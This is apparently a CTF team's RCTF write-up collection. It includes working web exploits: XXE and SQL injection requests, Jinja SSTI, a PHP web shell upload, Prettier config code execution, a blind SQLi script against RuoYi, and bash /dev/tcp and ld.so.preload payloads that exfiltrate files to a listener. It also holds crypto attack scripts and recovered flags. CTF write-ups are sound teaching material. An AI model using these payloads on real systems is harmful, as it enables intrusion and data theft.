Java webapp. Tomcat is known to normalize ;
in a weird way. Trying random things, we found out accessing /index;.ico
makes us pass the whitelist where the url has to end with .ico
, while accessing the route /index
.
The second part was to access the xxe function. For that, we'd need a username obtained via a password we pass as a parameter. The function that retrieves the password from the username isn't sanitized, but a filter prevents us using '
. To bypass this filter, we used templated string, and octal encoding to encode the single quote. Our templated string looked like ${"abc\47) OR 1=1;-- -"}
. We can now access the xxe function.
As the name suggests, we need to find an xxe. We control some of the constructors of our input, as well as the input itself. To be able to freely use any encodings in a valid way, we decided to go for a byte stream. For that, we used these classes: java.io.ByteArrayInputStream [B org.xml.sax.InputSource java.io.InputStream
. Then, to bypass the !DOCTYPE
filter, we encoded the xml in UTF-16BE, and put a header in it to give this information to the parser.
So we encode the xml like this, then send everything in a request. The request looks like this:
GET /index;.ico?password=%24%7b%22abc%5c47)%20OR%201=1;--%20-%22%7d&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAIABlAG4AYwBvAGQAaQBuAGcAPQAiAHUAdABmAC0AMQA2AEIARQAiACAAPwA%2bAAoAPAAhAEQATwBDAFQAWQBQAEUAIAByAGUAcABsAGEAYwBlACAAWwA8ACEARQBOAFQASQBUAFkAIABlAG4AdAAgAFMAWQBTAFQARQBNACAAIgBmAGkAbABlADoALwAvAC8AZgBsAGEAZwAiAD4AIABdAD4ACgA8AGYAbwBvAD4AJgBlAG4AdAA7ADwALwBmAG8AbwA%2b&type=&yourclasses=java.io.ByteArrayInputStream,%5bB,org.xml.sax.InputSource,java.io.InputStream HTTP/1.1
Host: 94.74.86.95:8899
Connection: close
The server is running the file
command on the uploaded file and the output is passed to Flask's render_template_string
. So we can do template injection if we control the output of file
.
I've noticed that it displays some exif data, specifically the Software
field. So we can put jinja template code in there to read the flag:
from exif import Image
import requests
with open('1px.jpg', 'rb') as f:
img = Image(f)
img.software = "{{dict.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"
res = requests.post("http://159.138.107.47:13001/", files={"file-upload": img.get_file()}).text
if "software=" in res:
print(res.split("software=")[1].split(", ")[0])
else:
print(res)
This time, we can't do ssti as we only pass the value as a parameter that will be used by the template.
The check for path traversal and existing file is an and
. That means we can overwrite files if we don't use ..
.
Fortunately for us, os.path.join
is weird, and let us access anything if we pass an absolute path as the second argument.
>>> import os
>>> os.path.join("/abc/","def")
'/abc/def'
>>> os.path.join("/abc/","/def")
'/def'
We decided to just edit /bin/file
to this:
#!/bin/python3
import os
os.popen("/bin/bash -c 'cat /flag>/dev/tcp/[ip for exfiltration]/1235'")
As we only change the file content, we keep the permission of execution on it. Now, just listen on your server with nc -lnvp 1235
, and you sould get the flag.
The request looks like this:
POST / HTTP/1.1
Host: 159.138.110.192:23001
Content-Length: 290
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXpDIDRuL9VBmHJHK
Connection: close
------WebKitFormBoundaryXpDIDRuL9VBmHJHK
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: image/jpeg
#!/bin/python3
import os
os.popen("/bin/bash -c 'cat /flag>/dev/tcp/[your ip]/1235'")
------WebKitFormBoundaryXpDIDRuL9VBmHJHK--
Note: http requests need \r\n for new lines. But in the file content, it is necessary to only use \n.
I found a pull request fixing a blind SQL injection vulnerability. But even though gitee says it has been merged, the master branch still contains the old vulnerable code.
https://gitee.com/y_project/RuoYi/pulls/403
We can use that vulnerability to leak each character of the flag by calling SLEEP
with its ASCII value:
import requests
import secrets
def req(payload):
sql = f"CREATE TABLE test{secrets.token_hex(10)} AS SELECT/**/ {payload};"
print(sql)
response = requests.post(
url="http://150.158.172.182:8899/tool/gen/createTable",
headers={
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "JSESSIONID=b655c45f-d7bb-42b0-a7d5-a6801263083c",
},
data={
"sql": sql,
},
)
print(response.text)
return response.elapsed.total_seconds()
def get_char(i):
try:
time = req(f"sleep(ascii(substr(flag,{i+1},1))-32) from flag")
print(time)
return chr(round((time-0.15))+32)
except:
return "?"
import sys
i = int(sys.argv[1])
print(i, get_char(i))
This is a php webapp containing a file upload feature that will upload the file in /upload/[filename]. Two checks are done to verify if the file we upload is php or not. First one is about the content. We can't have "<?" in the file content. This can be bypassed by having mb_detect_encoding recognizing the document as base64. It will then upload the non-decoded content anyway. Second check is about the extension. We can bypass it by uploading with ".pHp". It will be accessible as .php anyway later. Here's what the request to get the flag looks like:
POST / HTTP/1.1
Host: 49.0.206.37:8000
Content-Length: 1603
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCtqfzjlig72HhsBJ
Connection: close
------WebKitFormBoundaryCtqfzjlig72HhsBJ
Content-Disposition: form-data; name="file"; filename="asdasdy.pHp"
Content-Type: text/plain;
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=<?php echo shell_exec("cat /flag") ?>
------WebKitFormBoundaryCtqfzjlig72HhsBJ--
Then access /upload/asdasdy.php
, and find the flag at the end of the response.
Prettier will load the plugins selected in the configuration file. So we can make it reference this file itself. It will execute it as JavaScript.
By writing it in YAML, it will still be valid JavaScript because xxxx:
are just JS labels.
test: console.log("this gets executed as JavaScript")
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"
But we cannot call /readflag
because the require
function has been patched to forbid most modules:
const Module = require('module')
const oldRequire = Module.prototype.require
Module.prototype.require = function (id) {
if (typeof id !== 'string') {
throw new Error('Bye')
}
const isCore = Module.isBuiltin(id)
if (isCore) {
if (!/fs|path|util|os/.test(id)) {
throw new Error('Bye, ' + id)
}
} else {
id = Module._resolveFilename(id, this)
}
return oldRequire.call(oldRequire, id)
}
process.dlopen = () => {}
But can bypass it by overriding the RegEx.test
function to change the result and bypass the filter:
RegExp.prototype.oldTest = RegExp.prototype.test
RegExp.prototype.test = function (x) { if (this.toString() == "/fs|path|util|os/") { return true }
return this.oldTest(x) }
Then to exfiltrate the flag, we write it in dist/ret.js
and prevent it from being overwritten by the result of prettier by modifying the fs.writeFileSync
:
var old = require("fs").writeFileSync
require("fs").writeFileSync = function (file, content) { if (!file.endsWith("ret.js")) old(file, content) }
Final exploit:
exploit: RegExp.prototype.oldTest = RegExp.prototype.test; RegExp.prototype.test = function(x){if (this.toString() == "/fs|path|util|os/"){return true}; return this.oldTest(x)}; require("fs").writeFileSync("dist/ret.js", require("child_process").execSync("/readflag")); var old = require("fs").writeFileSync; require("fs").writeFileSync = function(file, content){if(!file.endsWith("ret.js"))old(file, content)};
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"
This time, we can't overwrite any files. We have to get RCE only by creating new ones.
The webapp has root permissions, that means we can write in any directories. For this challenge, we chose to create a /etc/ld.so.preload
file containing /tmp/rce.so
so it will load the library when the server executes file
. So we can just create a malicious library, compile it, and upload it. We then just need a race condition when both of the files are present when file
is executed. Here's the solve script.
import os
import sys
import requests
host = "http://140.210.199.170:33002" #maybe change this
listenerip = "your ip" #change this
listenerport = "your port" #change this
if len(sys.argv) == 1:
cpayload = """#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
remove("/etc/ld.so.preload"); //without this, the exploit would recursively load /tmp/rce.so
system("/bin/bash -c 'cat /flag>/dev/tcp/"""+listenerip+"/"+listenerport+"""'");
}"""
file = open("rce.c","w")
file.write(cpayload)
file.close()
ldpayload = "/tmp/rce.so"
file = open("ld.so.preload","w")
file.write(ldpayload)
file.close()
os.system("gcc -fPIC -shared -o rce.so rce.c -nostartfiles") #compile the so file. If it doesn't work, try running the script from the chall container
os.system("python3 ./exploit.py brute_ld & python3 ./exploit.py brute_so") #multithreading lol
else:
if sys.argv[1] == "brute_ld":
files = {'file-upload': ('/etc/ld.so.preload', open('ld.so.preload','rb').read())}
for i in range(100):
r=requests.post(host+"/",files=files)
elif sys.argv[1] == "brute_so":
files = {'file-upload': ('/tmp/rce.so', open('rce.so','rb').read())}
for i in range(100):
r=requests.post(host+"/",files=files)
This challenge requires you to break SIDH. The most efficent method to solve is to spend your summer writing the attack in SageMath, so you can just copy paste the challenge parameters into your code and get the flag immediately.
Things to note:
The challenge script presents an exotic variants of RSA. By pure coincidence this paper "Further Cryptanalysis of a Type of RSA Variants" contains references to variants of RSA. As it turns out, the variants in the challenge is the Castagnos cryptosystem based on Lucas sequences.
Luckily, this paper presents an attack on the Castagnos cryptosystem that factors the modulus using continues fractions. Given an Castagnos key pair
First we recover
den = N^2 - 9/4*N + 1
cf = (e/den).continued_fraction()
tot = []
for v in cf.convergents()[1:]:
k,d = v.numerator(), v.denominator()
if (e*d - 1) % k == 0:
phi = (e*d - 1) / k
if (inverse_mod(d, phi) == e):
break
Then we factor
RSA.construct((int(N), int(e), int(d)), consistency_check=False)
Next, we need a efficient implementation of
v = lambda r, e: ZZ((Matrix(Zmod(N^2), [[r, -1], [1, 0]])^e * vector([r, 2]))[1])
The final task is to painfully implement the decryption function and recover the flag.
dpi = lambda p,i: ZZ(pow(e,-1,p-i))
ip = kronecker(c^2 - 4, p)
iq = kronecker(c^2 - 4, q)
dp = dpi(p,ip)
dq = dpi(q,iq)
rp = v(c,dp) % p
rq = v(c,dq) % q
r = (rp + p*(rq - rp)*ZZ(pow(p,-1,q))) % N
tmpp = ZZ(c*pow(v(r,e), -1, p^2) % p^2)
tmpp = (tmpp - 1)//p
mp = (tmpp *ZZ(pow(q,-1,p))) % p
tmpq = ZZ(c*pow(v(r,e), -1, q^2) % q^2)
tmpq = (tmpq - 1)//q
mq = (tmpq * ZZ(pow(p,-1,q))) % q
from Crypto.Util.number import long_to_bytes
m = (mp + p*(mq - mp)*ZZ(pow(p,-1,q))) % N
print(long_to_bytes(m))
RCTF{eAsy_1uca5_se9uEnce_a6ea27d4177d}
Implement https://eprint.iacr.org/2021/1632 to factor the modulus, suffer because Groebner takes ~3 hours to run with
import sys
def factorit(N, y):
pqdiff = ZZ(sqrt(y))
assert pqdiff^2 == y
x = var("x")
roots = (x*(x + pqdiff) - N).roots()
p = ZZ(max(r for r, _ in roots))
assert ZZ(N) % p == 0
q = ZZ(N) // p
return p, q
with open(sys.argv[1]) as f:
lines = f.read().splitlines()
e = ZZ(lines[-1].split()[-1])
N = ZZ(lines[-2].split()[-1])
ZN = Zmod(N)
cts = list(map(ZN, lines[:-3]))
β = QQ(0.4396)
α = log(e, 2) / log(N, 2)
δ = 0.6422
print("δ =", δ.n(), "\n2 - sqrt(2αβ) =", (2 - sqrt(2*α*β)).n())
m = t = int(sys.argv[2])
A = -(N - 1)^2
R.<x, y, u> = QQ[]
Rquo = R.quo(x*y - (u - 1))
F = u + A*x
X = ZZ(ceil(2*N^(α+δ-2)))
Y = ZZ(ceil(N^(2*β)))
U = ZZ(ceil(2*N^(α+δ+2*β-2)))
def G(k, i1, i2, i3):
return x^i1 * F^k * e^(m - k)
def H(k, i1, i2, i3):
return Rquo(y^i2 * F^k * e^(m - k)).lift()
gs = []
for k in range(m + 1):
for i1 in range(m - k + 1):
gs.append(G(k, i1, 0, k))
for i2 in range(1, t + 1):
for k in range(m//t * i2, m + 1):
gs.append(H(k, 0, i2, k))
monomials = []
for k in range(m + 1):
for i1 in range(m - k + 1):
M = x^i1*u^k
if M not in monomials: monomials.append(M)
for i2 in range(1, t + 1):
for k in range(m//t*i2, m + 1):
M = y^i2*u^k
if M not in monomials: monomials.append(M)
print(monomials)
L = Matrix(ZZ, nrows=len(gs), ncols=len(monomials))
for r, g in enumerate(gs):
for v, M in g(x=X*x, y=Y*y, u=U*u):
L[r,monomials.index(M)] = v
def mprint(M):
print("\n".join(''.join("0X"[bool(x)] for x in r) for r in M))
print(f"LLL dimension: {L.nrows()}x{L.ncols()}")
B = L.LLL()
mprint(B)
import logging
logging.basicConfig(level=logging.DEBUG)
def find_roots_univariate(x, polynomial):
"""
Returns a generator generating all roots of a univariate polynomial in an unknown.
:param x: the unknown
:param polynomial: the polynomial
:return: a generator generating dicts of (x: root) entries
"""
if polynomial.is_constant():
return
for root in polynomial.roots(multiplicities=False):
if root != 0:
yield {x: int(root)}
def find_roots_groebner(polynomials):
"""
Returns a generator generating all roots of a polynomial in some unknowns.
Uses Groebner bases to find the roots.
:param pr: the polynomial ring
:param polynomials: the reconstructed polynomials
:return: a generator generating dicts of (x0: x0root, x1: x1root, ...) entries
"""
# We need to change the ring to QQ because groebner_basis is much faster over a field.
# We also need to change the term order to lexicographic to allow for elimination.
pr = polynomials[0].parent()
gens = pr.gens()
s = Sequence(polynomials[1:] + polynomials[:1], pr.change_ring(QQ, order="lex"))
while len(s) > 0:
G = s.groebner_basis()
logging.debug(f"Sequence length: {len(s)}, Groebner basis length: {len(G)}")
if len(G) == len(gens):
logging.debug(f"Found Groebner basis with length {len(gens)}, trying to find roots...")
roots = {}
for polynomial in G:
vars = polynomial.variables()
if len(vars) == 1:
for root in find_roots_univariate(vars[0], polynomial.univariate_polynomial()):
roots |= root
if len(roots) == pr.ngens():
yield roots
return
logging.debug(f"System is underdetermined, trying to find constant root...")
return
G = Sequence(s, pr.change_ring(ZZ, order="lex")).groebner_basis()
vars = tuple(map(lambda x: var(x), gens))
for solution_dict in solve([polynomial(*vars) for polynomial in G], vars, solution_dict=True):
logging.debug(solution_dict)
found = False
roots = {}
for i, v in enumerate(vars):
s = solution_dict[v]
if s.is_constant():
if not s.is_zero():
found = True
roots[gens[i]] = int(s) if s.is_integer() else int(s) + 1
else:
roots[gens[i]] = 0
if found:
yield roots
return
else:
# Remove last element (the biggest vector) and try again.
s.pop()
for m in monomials:
assert len(m.monomials()) == 1
polys = list(B * vector([m / m.monomials()[0](x=X, y=Y, u=U) for m in monomials]))
RR.<xx, yy> = QQ[]
def inj(f): return RR(f(u=xx*yy + 1, x=xx, y=yy))
import random, itertools
for roots in find_roots_groebner(list(map(inj, polys))):
print(f"{A = }")
print(roots)
# if (roots[u] + A * roots[x]) % e != 0:
# print("Not an actual root for F")
if (roots[xx] * roots[yy] + A * roots[xx] + 1) % e != 0:
print("Not an actual root for f")
_y = roots[yy]
if not is_square(_y):
print("Not a square")
continue
if _y > 0:
print(factorit(N, ZZ(_y)))
exit()
Then decrypt the RSA ciphertexts and do some iFFT stuff to recover the flag.
proof.all(False)
from Crypto.Util.number import long_to_bytes
def decrypt_junk(junk):
p = 990367536408524906540912485167816012092796554403092639917950993714265910699138052663068131070259292593771612112016905904144038137551264432483487958987773403759866096258076571660618998739176702013853258687325567753038298889168254166361474202422033630403618955865472205722190830457928271527937
g = 745013838642250986737914025336862504661062017981819269513542907265222774830330586097756124678061002877695509685688964126565784246358161149675046363463274308162223776270434432888284419417479549219965033745142547821863438374478028783067286583042510995247992045551680383288951502770625897136683
Zp = Zmod(p)
junk = list(map(Zp, junk))
g = Zp(g)
def fft(x, ω=g):
N = len(x)
if N <= 1: return x
even = list(fft(x[0::2], ω^2))
odd = list(fft(x[1::2], ω^2))
T = [ω^k * odd[k] for k in range(N // 2)]
return [
even[k] + T[k] for k in range(N // 2)
] + [
even[k] - T[k] for k in range(N // 2)
]
def ifft(x, ω=g):
tmp = fft(x, ω^-1)
N = len(x)
return [t / N for t in tmp]
return [long_to_bytes(int(x)) for x in ifft(junk)]
def get_junk():
p, q = (9556214419665146755945166891490295027801379346690091021440900886989699179551049737108368117123398427595492672043407492859209058045933952618134000351021621, 9556214419665146758506803013780992193575249054036800092187408574698477703833966098289122981611431119177883925607404669379911570440322420288505602984153503)
import sys
with open(sys.argv[1]) as f:
lines = f.read().splitlines()
e = ZZ(lines[-1].split()[-1])
N = ZZ(lines[-2].split()[-1])
ZN = Zmod(N)
cts = list(map(ZN, lines[:-3]))
assert N == p * q
d = ZZ(pow(e, -1, (p - 1)*(q - 1)))
return [ZZ(pow(c, d, N)) for c in cts]
import pprint
junk = get_junk()
print("Junk gotten")
pprint.pprint(dec := decrypt_junk(junk))
print(bytes(d[i] for i, d in enumerate(dec[:120])))
RCTF{G00d_J06_UR_cRypT0_ma5T3r__1997_L0VE_ZMJ_FOR3VER}
t = randint(1, q)
u = x * t - randint(1, q >> 2)
Given (many instances of) t and u we need to recover x.
Since, in expectation, t will be around q/2 and randint(1, q >> 2)
about q/8, u/t
will be x-1
more often than not.
from pwn import *
import json
r = connect("190.92.234.114", 23334)
r.readuntil("q = ")
q = int(r.readline())
r.readuntil("T = ")
T = json.loads(r.readlineS())
r.readuntil("U = ")
U = json.loads(r.readlineS())
x = U[0] // T[0] + 1
r.sendlineafter("x = ", str(x))
r.interactive()
RCTF{h0p3_this_gUes5_cHal1eNge_is_N0T_gue5sY}
Among other things we get
print('C =', C)
print('P1 =', P1)
print('P2 =', P2)
H = magic.shake(b'Never gonna give you flag~')
S_ = magic(input('> ')[:magic.N])
if P1*S_ == C*H*P2:
print(flag)
with C, P1, P2, H and S_ being a sequence of intergers modulo 8.
Therefore, we need to find some X such that A*X=B for known A, B. Looking at how the multiplication works, we notice that all but 9 values in the result only depend on the corresponding values in the inputs. For these, finding valid values for X is, therefore, trivial. The remaining 9 values, however, are all interdependant. But since only 9 3-bit values remain, we can simply brute force these 27 bits to get a valid S_.
t = randint(1, q)
u = (x * t - randint(1, q >> 2)) % q
Given (many instances of) t and u we need to recover x. x, however, is generated such that it has only 41 bits of entropy. Allowing us to simply bruteforce it.
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <gmp.h>
void chk(int ok, char* err) {
if (!ok) {
puts(err);
exit(1);
}
}
bool inc(mpz_t x) {
char c;
int i;
for (i = 5; i < 20; i++) {
c = ((uint8_t*)x->_mp_d)[i];
if (c == 'Z') continue;
if (c == '9') c = 'A';
else c++;
break;
}
bool signle_inc = (i == 5) && (c != 'A');
if (i >= 20) {
puts("failed");
exit(0);
}
for (; i >= 5; i--) {
((uint8_t*)x->_mp_d)[i] = c;
}
return signle_inc;
}
int main(int argc, char* argv[]) {
chk(argc > 4, "nothing to check against");
chk(argc % 2 == 0, "odd number of args");
mpz_t q;
mpz_init(q);
mpz_set_str(q, argv[1], 10);
int len = argc / 2 - 2;
mpz_t ts[len];
mpz_t lows[len];
mpz_t highs[len];
mpz_t maxk;
mpz_init(maxk);
mpz_tdiv_q_2exp(maxk, q, 2);
for (int i = 0; i < len; i++) {
mpz_init(ts[i]);
mpz_set_str(ts[i], argv[2*(i+1)], 10);
mpz_t u;
mpz_init(u);
mpz_set_str(u, argv[2*(i+1) + 1], 10);
mpz_init(lows[i]);
mpz_add_ui(lows[i], u, 1);
mpz_init(highs[i]);
mpz_add(highs[i], u, maxk);
}
mpz_t x;
mpz_init(x);
chk(strlen(argv[argc - 2]) == 20, "invalid startpoint");
mpz_import(x, 20, 1, 1, 1, 0, argv[argc - 2]);
uint64_t maxcnt = atol(argv[argc-1]);
mpz_t prod;
mpz_init(prod);
mpz_t xt0;
mpz_init(xt0);
mpz_t t0240;
mpz_init(t0240);
mpz_mul_ui(t0240, ts[0], 1L<<40);
mpz_mod(t0240, t0240, q);
bool signle_inc = false;
while (maxcnt--) {
int i;
for (i = 0; i < len; i++) {
if (i==0 && signle_inc) {
mpz_add(prod, xt0, t0240);
if (mpz_cmp(prod, q) >= 0) {
mpz_sub(prod, prod, q);
}
} else {
mpz_mul(prod, x, ts[i]);
mpz_mod(prod, prod, q);
}
if (i == 0) {
mpz_set(xt0, prod);
}
if (mpz_cmp(prod, lows[i]) < 0) {
mpz_add(prod, prod, q);
}
if (mpz_cmp(prod, lows[i]) < 0 || mpz_cmp(prod, highs[i]) > 0) break;
}
if (i == len) {
puts("found");
mpz_out_str(stdout, 10, x);
exit(0);
}
signle_inc = inc(x);
}
puts("maxed out");
exit(0);
}
Using stings on the alient.bmp image we get a base64 string that decodes to pwd="N0bOdy_l0ves_Me"
Then extracting the binary from the zip and analysing it with 'file' and 'string' came to the conclusion it's a compiled python executable.
Then used https://pyinstxtractor-web.netlify.app/ to extract the python bytecode files from the whole binary and decompiled the relevant .pyc files with python-uncompyle6
. From the main source files, we could see and extract double-base64-encoded strings.
--- alien_invasion.pyc ---
s = b'VTJreE0yNWpNdz09'
=> Si13nc3
--- game_stats.pyc ---
t = b'ZFhBPQ=='
=> up
--- bullet.pyc ---
a = b'YmtWMlJYST0='
=> nEvEr
--- alien.pyc ---
a = b'TVRVPQ=='
=> 15
--- button.pyc ---
k = b'T1dsMmFXNDU='
=> 9ivin9
--- ship.pyc ---
m = b'YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9'
=> h01din9
=> On
=> Si13nT1y
--- settings.pyc ---
l = b'Tm5WMA=='
=> 6ut
--- scoreboard.pyc ---
m = b'SmlZPQ=='
=> &&
ZIP password:
=> N0bOdy_l0ves_Me
Then it was only reassembling the parts to get the flag. Guessing the right order took a long time, because the flag is not actually making as much sense as many other of the possible combinations.
Visit the URL in the challenge description (https://rois.io/). Wait for the flag to appear.
We can uplad a file, it gets stored with a name based on our ip in a dir based on our ip. That sounds like it is just part of the infra to make every player have a unique upload location or something though.
that file is then passed into the FlagServer, of which we have the java .class files.
the dockerfile installs frida (from some chinese mirror) so I assume the FlagServer uses it. The website running on the remote specifies "upload your frida jsscript".
Once the FlagServer is done, we get the output of the command printed on the website.
opened it in ghidra: The FlagServer has a getFlag
method that prints the flag if … the system time is before Thu Dec 31 2020 16:00:00
.
The MyRunnable that the FlagServer runs first is frida with our input file. Then they check the system time. So we need to modify the system time from the frida script
… the MyRunnable.class contains the string python3 exp.py %s %s
in the run function
which in turn then launches frida using the python package.
so basically we need to hook System.currentTimeMillis()?
and return the wrong value?
// This function will be called every time System.currentTimeMillis() is called function hook() { // Return the Unix timestamp for "Thu Dec 31 2020 16:00:00" return 1609459200000; } // Create a Frida hook on the System.currentTimeMillis() method var System = Java.use('java.lang.System'); System.currentTimeMillis.implementation = hook;
maybe this is a ChatGPT solve
But it turns out that ChatGPT got the timestamp wrong and the timestamp in the comment is also wrong. We also found a github issue that says all the Java functionality can only be used inside a Java.perform()
block.
Instead of bothering with the Java pain, we notice that
FlagServer.class
fileFlagServer.class
is world-readableso we just read the flag from javascript and print it.
Here's the final code:
Java.perform(function () {
var fis = Java.use("java.io.FileInputStream");
//var file = fis.$new("/mnt/defpackage/FlagServer.class");
var file = fis.$new("/app/FlagServer.class");
var fileBytes = new Uint8Array(file.available());
const buffer = Java.array('byte', new Array(4096).fill(0));
var x;
var a ='';
while ((x = file.read(buffer)) != -1) {
for (var i = 0; i < x; i++) {
a += String.fromCharCode(buffer[i]);
}
for (var i = 0; i < 100; i++) {
console.log(a);
}
}
});
We noticed that the amount of suns a sunflower gave you was not enough to win the game.
We immediately decided that the most sensible way to proceed was to cheat at the game.
We guesseed the number of suns we had at the start (100). Then we used cheat engine to see
how many suns a sunflower would cost (50).
We then run grep "= 50"
over the decompilation of the binary to see where the price of
the plants was set and we patched that to be 0.
After running the executable and crashing it with cheat engine, it became apparent that LUA files are used for the game logic.
Using binwalk on the K999.exe
executable showed, that the .lua sourcefiles were attached to it.
408187 0x63A7B Zip archive data, at least v2.0 to extract, compressed size: 2059, uncompressed size: 2059, name: flag.lua
410284 0x642AC Zip archive data, at least v2.0 to extract, compressed size: 1032, uncompressed size: 1032, name: GameObject.lua
411360 0x646E0 Zip archive data, at least v2.0 to extract, compressed size: 4635, uncompressed size: 4635, name: Grenade.lua
416036 0x65924 Zip archive data, at least v2.0 to extract, compressed size: 2148, uncompressed size: 2148, name: Gun.lua
418221 0x661AD Zip archive data, at least v2.0 to extract, compressed size: 4349, uncompressed size: 4349, name: main.lua
422608 0x672D0 Zip archive data, at least v2.0 to extract, compressed size: 172, uncompressed size: 172, name: makelove.toml
422823 0x673A7 Zip archive data, at least v2.0 to extract, compressed size: 4412, uncompressed size: 4412, name: Map.lua
The main.lua
file contained the interesting part concerning the flag.
if world.KillenemyCount >= 999 then
love.graphics.push('all')
love.graphics.setColor(255, 255, 0, 255)
local flag1 = "MOON\r\n"
local flag2 = "157 89 215 46 13 189 237 23 241\r\n"
local flag3 = "49 84 146 248 150 138 183 119 52\r\n"
local flag4 = "34 174 146 132 225 192 5 220 221\r\n"
local flag5 = "176 184 218 19 87 249 122\r\n"
local flag6 = "Find a Decrypt!\r\n"
Looking at flag.lua
, the decrypt routine was already prepared there.
function Decrypt()
local key = ""
local s = {}
flag = ""
for i = 1, #s, 1 do
flag = flag .. string.char(s[i])
end
flag = strDecrypt(flag, key)
print(flag)
end
After inserting "MOON" as the key and the numbers into the "s" array, running the Decrypt function returned the flag.
RCTF{1_Rea11y_Want_t0_Y0ur_H0use}
SQLite::operator<<(std::ostream *this, SQLite::Column *a2)
is vulnerable:std::ostream *__fastcall SQLite::operator<<(std::ostream *this, SQLite::Column *a2)
{
int Bytes; // ebx
const char *Text; // rax
Bytes = SQLite::Column::getBytes(a2); // first uses getBytes
Text = SQLite::Column::getText(a2, ""); // then uses getText
std::ostream::write(this, Text, Bytes);
return this;
}
getText
can do internal conversions (e.g. from UTF16 to UTF8) which can cause the number of bytes to change.def create_leak():
sizes = list(range(0x20, 0x150, 0x10))
sizes += [0x40, 0x100, 0x400, 0x100, 0x400]
sizes = [0x100]
vals = []
for size in sizes:
val = b"B"*0x1 + b"\0"*(size-1)
vals.append(f"(X'{val.hex()}')")
create_db_sql(f"""
PRAGMA encoding = "UTF-16le";
CREATE TABLE test (
id integer primary key autoincrement,
content string
);
INSERT INTO test (content) VALUES {', '.join(vals)}
""", "./leaker.db")
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 35.233.147.96 --port 42531 ./ppuery
from pwn import *
import builder
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./ppuery')
if args.GDB:
exe = context.binary = ELF('./ppuery.debug')
libc = ELF('./libc-2.27.so')
context.terminal = ["tmux", "split", "-h"]
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '190.92.233.46'
port = int(args.PORT or 10000)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
# tbreak main
# b *0x5555555af92a
# b *(resetAccumulator+122)
# set $expr = (void*)0x5555558a1600
# b free if $rdi == 0x5555558a6a50
# b free if $rdi == 0x55555587d9a0
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
